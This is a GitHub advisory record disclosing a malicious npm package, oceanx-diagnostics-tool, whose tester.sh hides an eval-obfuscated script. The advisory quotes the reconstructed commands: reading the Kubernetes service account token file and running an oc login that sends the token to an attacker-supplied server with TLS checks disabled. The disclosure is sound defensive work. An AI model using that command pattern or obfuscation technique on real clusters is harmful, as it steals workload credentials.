Malicious code in oceanx-diagnostics-tool (npm)
- GHSA-575h-f2fw-46j3
Description
The package presents itself as an HTTP/DNS diagnostics tool but ships tester.sh, a shell script that uses single-character variable fragments concatenated and passed to `eval` to hide its payload. The reconstructed commands read the in-cluster Kubernetes service account token from /var/run/secrets/kubernetes.io/serviceaccount/token and run `./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify`, authenticating to a caller/attacker-supplied OpenShift server with TLS verification disabled. The string-fragment obfuscation is specifically shaped to defeat grep/static review and is inconsistent with the package's stated benign purpose. The script is not wired to an npm lifecycle hook and the declared `main: index.js` is absent from the tarball, so the payload does not auto-execute on `npm install` or `require()`; it runs only when the shipped tester.sh is explicitly invoked (for example via the `scripts.send` entry or manual execution inside a pod). The package's shipped content is nonetheless a ready-to-run credential-theft tool targeting Kubernetes workloads that install it. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/4590b1d1ee1824f1de1f1bd10c55170a1f277200/osv/malicious/npm/oceanx-diagnostics-tool/MAL-2026-21083.json))
Text from the GitHub Advisory record.
Recommendation
Remove the package and rotate any secret the machine that installed it could reach. There is no version to update to.
Affected
oceanx-diagnostics-toolnpm
No versions listed
Timeline
- Published
Related news
No article from the followed outlets names this vulnerability.